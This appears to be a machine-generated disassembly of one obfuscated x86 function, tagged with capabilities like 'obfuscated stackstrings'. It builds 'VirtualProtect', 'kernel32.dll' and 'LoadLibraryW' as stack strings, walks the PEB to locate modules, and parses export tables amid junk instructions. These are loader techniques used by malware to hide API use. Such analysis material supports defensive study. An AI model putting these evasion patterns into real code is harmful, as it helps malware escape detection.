Function at 0x1003878e
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
pop edi
push edi
jmp 0x100386d0
pop edi
push ecx
sub ecx, 0x13f23
and ecx, 0xc570
add ecx, 0x15fb4
pop ecx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x19b8], eax
push 0
call dword [ebp - 0x19b8]
mov dword [ebp - 0x2054], 0xa
push ebx
or ebx, 0x1722c
or ebx, 0x17ed4
add ebx, 0x11d81
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x11062
xor ebx, 0x1282c
and ebx, 0x15636
sub ebx, 0x74d1
pop ebx
mov ecx, dword [ebp - 0x3fc]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x3b0], dl
mov eax, dword [ebp - 0xae4]
sub eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x16a4], eax
mov dword [ebp - 0xcfc], 0
push eax
and eax, 0x16791
call 0x10038773
add byte [ecx + 0x39], cl
xor al, 0x37
xor eax, 0x4c4834a
pop eax
push edi
push eax
add esp, 4
jmp 0x10038782
call 0x1003878e
add byte [0x48434942], dh
inc esp
add esp, 4
pop edi
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19bc], ecx
mov edx, dword [ebp - 0x19bc]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x1624], ecx
push edx
push edx
add esp, 4
and edx, 0x60f8
sub edx, 0x7468
pop edx
push esi
sub esi, 0xcf54
and esi, 0x65d
pop esi
push ebx
push edx
add esp, 4
xor ebx, 0x64b6
add ebx, 0x3444
pop ebx
cmp dword [ebp - 0x1624], 0
jne 0x1003886d
mov dword [ebp - 0x300], 0
jmp 0x10038b14
mov edx, dword [ebp - 0x1624]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd8], ecx
push edi
push eax
add esp, 4
or edi, 0xf38a
xor edi, 0xd594
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x10033
or ebx, 0x13f3e
pop ebx
push eax
sub eax, 0x1644
xor eax, 0x67c2
pop eax
cmp dword [ebp - 0xcd8], 0
jne 0x100388c9
mov dword [ebp - 0x300], 0
jmp 0x10038b14
mov edx, dword [ebp - 0xcd8]
mov dword [ebp - 0x510], edx
push edx
sub edx, 0x5bc2
pop edx
push eax
push ebx
add esp, 4
call 0x100388f0
add byte [ebx + 0x4d], al
dec ecx
dec edi
inc ebx
dec edx
inc edx
xor al, 0x83
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [ebp + 0x45], al
cmp byte [edi], dh
inc edx
inc ecx
xor al, 0x4e
cmp eax, dword [eax - 0x7d]
les eax, [eax + ebx*2]
lea eax, [ebp - 0x1754]
mov dword [ebp - 0xcd4], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd0], edx
xor eax, eax
mov word [ebp - 0x238], ax
xor ecx, ecx
mov word [ebp - 0x4c], cx
push edx
sub edx, 0x51ce
or edx, 0x51ed
pop edx
push ecx
jmp 0x10038946
pop ecx
push esi
or esi, 0x15d13
xor esi, 0x806b
xor esi, 0x147e
pop esi
push edx
or edx, 0x150b8
pop edx
mov edx, dword [ebp - 0xcd0]
mov ax, word [edx]
mov word [ebp - 0x1052], ax
mov ecx, dword [ebp - 0xcd0]
add ecx, 2
mov dword [ebp - 0xcd0], ecx
mov dx, word [ebp - 0x1052]
mov word [ebp - 0x238], dx
mov eax, dword [ebp - 0xcd4]
mov cx, word [eax]
mov word [ebp - 0x1054], cx
mov edx, dword [ebp - 0xcd4]
add edx, 2
mov dword [ebp - 0xcd4], edx
mov ax, word [ebp - 0x1054]
mov word [ebp - 0x4c], ax
push ebx
push edi
add esp, 4
add ebx, 0x3586
pop ebx
push eax
xor eax, 0x1d1
pop eax
push edi
push edi
add esp, 4
add edi, 0x12786
sub edi, 0x1056
and edi, 0xb901
and edi, 0x10b8
pop edi
movzx ecx, word [ebp - 0x4c]
test ecx, ecx
jne 0x10038a09
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
sub edx, eax
mov dword [ebp - 0x162c], edx
jmp 0x10038a63
movzx ecx, word [ebp - 0x238]
movzx edx, word [ebp - 0x4c]
cmp ecx, edx
je 0x10038931
movzx eax, word [ebp - 0x238]
xor eax, 0x20
movzx ecx, word [ebp - 0x4c]
cmp eax, ecx
je 0x10038931
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
cmp edx, eax
jge 0x10038a4d
mov dword [ebp - 0x1628], 0xffffffff
jmp 0x10038a57
mov dword [ebp - 0x1628], 1
mov ecx, dword [ebp - 0x1628]
mov dword [ebp - 0x162c], ecx
cmp dword [ebp - 0x162c], 0
jne 0x10038aac
push edi
push ecx
add esp, 4
sub edi, 0x11b8c
xor edi, 0x78ec
xor edi, 0xb3e9
pop edi
push ecx
sub ecx, 0x5892
jmp 0x10038a92
jmp 0x10038a97
and ecx, 0x1414f
pop ecx
mov edx, dword [ebp - 0x510]
mov dword [ebp - 0x300], edx
jmp 0x10038b14
push ebx
or ebx, 0x150bc
pop ebx
push edx
push edi
add esp, 4
call 0x10038ac8
add byte [esi + 0x4f], al
cmp al, 0x3f
push eax
xor al, byte [esi + edi - 0x7d]
les eax, [edx + ebx*2]
push esi
push edx
add esp, 4
xor esi, 0x13f72
or esi, 0x3615
pop esi
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov dword [ebp - 0x510], ecx
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0xcd8]
je 0x10038b0a
mov eax, dword [ebp - 0x510]
cmp dword [eax + 0x30], 0
jne 0x100388d5
mov dword [ebp - 0x300], 0
push edi
push ebx
add esp, 4
or edi, 0x135a3
pop edi
push eax
jmp 0x10038b2a
sub eax, 0x17a67
pop eax
push ebx
xor ebx, 0x70a6
and ebx, 0x18476
jmp 0x10038b45
pop ebx
cmp dword [ebp - 0x300], 0
jne 0x10039419
mov ecx, 0x6b
mov word [ebp - 0x17ac], cx
mov edx, 0x65
mov word [ebp - 0x17aa], dx
mov eax, 0x72
mov word [ebp - 0x17a8], ax
mov ecx, 0x6e
mov word [ebp - 0x17a6], cx
mov edx, 0x65
mov word [ebp - 0x17a4], dx
mov eax, 0x6c
mov word [ebp - 0x17a2], ax
mov ecx, 0x33
mov word [ebp - 0x17a0], cx
mov edx, 0x32
mov word [ebp - 0x179e], dx
mov eax, 0x2e
mov word [ebp - 0x179c], ax
mov ecx, 0x64
mov word [ebp - 0x179a], cx
mov edx, 0x6c
mov word [ebp - 0x1798], dx
mov eax, 0x6c
mov word [ebp - 0x1796], ax
xor ecx, ecx
mov word [ebp - 0x1794], cx
push eax
push ecx
add esp, 4
and eax, 0xc72a
pop eax
push eax
sub eax, 0x15975
jmp 0x10038c07
call 0x10038c14
add byte [ebp + 0x35], cl
xor al, 0x3b
inc eax
dec ebx
inc esp
add esp, 4
and eax, 0x13d14
pop eax
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x19c8], ecx
mov edx, dword [ebp - 0x19c8]
mov dword [ebp - 0x1630], edx
push ecx
push ebx
add esp, 4
add ecx, 0xf535
and ecx, 0xac8f
or ecx, 0x7a84
pop ecx
push esi
sub esi, 0x84a
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x16ef4
or ebx, 0x81b3
pop ebx
cmp dword [ebp - 0x1630], 0
jne 0x10038ceb
mov dword [ebp - 0x778], 0
jmp 0x10038f92
mov eax, dword [ebp - 0x1630]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xce4], edx
push eax
sub eax, 0x10057
or eax, 0x75e7
or eax, 0xf768
call 0x10038d1e
add byte [edi], dh
xor eax, dword [esi + eax*2 + 0x3c]
dec ebx
cmp al, 0x36
add esp, 4
pop eax
push esi
jmp 0x10038d28
jmp 0x10038d2e
pop esi
cmp dword [ebp - 0xce4], 0
jne 0x10038d47
mov dword [ebp - 0x778], 0
jmp 0x10038f92
mov eax, dword [ebp - 0xce4]
mov dword [ebp - 0x514], eax
push edi
or edi, 0x136a6
pop edi
push ecx
push eax
add esp, 4
jmp 0x10038d66
call 0x10038d75
add byte [esi], dh
dec esi
aas
inc esp
dec ebp
cmp al, 0x40
dec edx
inc edx
add esp, 4
add ecx, 0xc5df
or ecx, 0x7fb0
pop ecx
lea ecx, [ebp - 0x17ac]
mov dword [ebp - 0xce0], ecx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xcdc], eax
xor ecx, ecx
mov word [ebp - 0x23c], cx
xor edx, edx
mov word [ebp - 0x50], dx
push eax
xor eax, 0x767b
or eax, 0x135a8
add eax, 0x11a05
xor eax, 0xf499
pop eax
push edx
push edx
add esp, 4
xor edx, 0x8ae0
xor edx, 0x51ea
sub edx, 0x138f5
pop edx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1056], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1056]
mov word [ebp - 0x23c], ax
mov ecx, dword [ebp - 0xce0]
mov dx, word [ecx]
mov word [ebp - 0x1058], dx
mov eax, dword [ebp - 0xce0]
add eax, 2
mov dword [ebp - 0xce0], eax
mov cx, word [ebp - 0x1058]
mov word [ebp - 0x50], cx
push eax
push ecx
add esp, 4
jmp 0x10038e43
add eax, 0x18441
and eax, 0x17cbd
and eax, 0x1bfe
pop eax
push edi
and edi, 0xde75
and edi, 0xa341
sub edi, 0x15bb6
pop edi
movzx edx, word [ebp - 0x50]
test edx, edx
jne 0x10038e87
movzx eax, word [ebp - 0x23c]
movzx ecx, word [ebp - 0x50]
sub eax, ecx
mov dword [ebp - 0x1638], eax
jmp 0x10038ee1
movzx edx, word [ebp - 0x23c]
movzx eax, word [ebp - 0x50]
cmp edx, eax
je 0x10038daf
movzx ecx, word [ebp - 0x23c]
xor ecx, 0x20
movzx edx, word [ebp - 0x50]
cmp ecx, edx
je 0x10038daf
movzx eax, word [ebp - 0x23c]
movzx ecx, word [ebp - 0x50]
cmp eax, ecx
jge 0x10038ecb
mov dword [ebp - 0x1634], 0xffffffff
jmp 0x10038ed5
mov dword [ebp - 0x1634], 1
mov edx, dword [ebp - 0x1634]
mov dword [ebp - 0x1638], edx
cmp dword [ebp - 0x1638], 0
jne 0x10038f2a
push ebx
sub ebx, 0xf19f
pop ebx
push ebx
push eax
add esp, 4
call 0x10038f06
add byte [0x3b4f3a47], dh
dec ebx
dec edx
inc ebp
add esp, 4
call 0x10038f18
add byte [eax + 0x36], cl
xor al, 0x41
aas
inc eax
inc ebp
add esp, 4
pop ebx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x778], eax
jmp 0x10038f92
push ecx
sub ecx, 0x1145a
xor ecx, 0x5c93
call 0x10038f46
add byte [edi + eax*2 + 0x3f], cl
dec esi
cmp byte [eax + 0x35], cl
aas
inc ebx
add esp, 4
add ecx, 0xa170
pop ecx
push ebx
push edi
add esp, 4
and ebx, 0xa4d0
pop ebx
mov ecx, dword [ebp - 0x514]
mov edx, dword [ecx]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0xce4]
je 0x10038f88
mov ecx, dword [ebp - 0x514]
cmp dword [ecx + 0x30], 0
jne 0x10038d53
mov dword [ebp - 0x778], 0
cmp dword [ebp - 0x778], 0
jne 0x10038fdc
push ecx
add ecx, 0xc35
xor ecx, 0x15b67
sub ecx, 0xf4be
xor ecx, 0xe3df
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xfb29
add ecx, 0xae68
sub ecx, 0x118b9
pop ecx
mov dword [ebp - 0xae0], 0
jmp 0x10039b04
push ecx
push esi
add esp, 4
or ecx, 0x4406
sub ecx, 0x1220b
sub ecx, 0x11838
and ecx, 0x15bee
pop ecx
push edx
push ebx
add esp, 4
xor edx, 0x7b98
pop edx
push eax
and eax, 0x16948
pop eax
mov edx, dword [ebp - 0x778]
mov al, bh
invalid
dec dword [ebx - 0x7a76e7be]
movsb byte es:[edi], byte [esi]
cld
invalid
inc edi
test dword [eax - 8], edi
clc
invalid
inc dword [eax]
add byte [eax], al
add byte [ebx - 0x35b73], cl
dec dword [ecx - 0x163b73]
inc dword [ebx - 0x163b43]
inc dword [eax]
jne 0x1003904d
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], edx
jmp 0x1003933e
mov eax, dword [ebp - 0x163c]
mov ecx, dword [ebp - 0x35c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1640], ecx
jne 0x10039075
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], edx
jmp 0x1003933e
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1640]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1684], eax
cmp dword [ebp - 0x1684], 0
jne 0x100390a7
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], ecx
jmp 0x1003933e
mov edx, dword [ebp - 0x35c]
add edx, dword [ebp - 0x1684]
mov dword [ebp - 0x77c], edx
jne 0x100390cc
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3f8], eax
jmp 0x1003933e
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x35c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x35c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x35c]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x19d4], eax
mov dword [ebp - 0x780], 0
jmp 0x10039126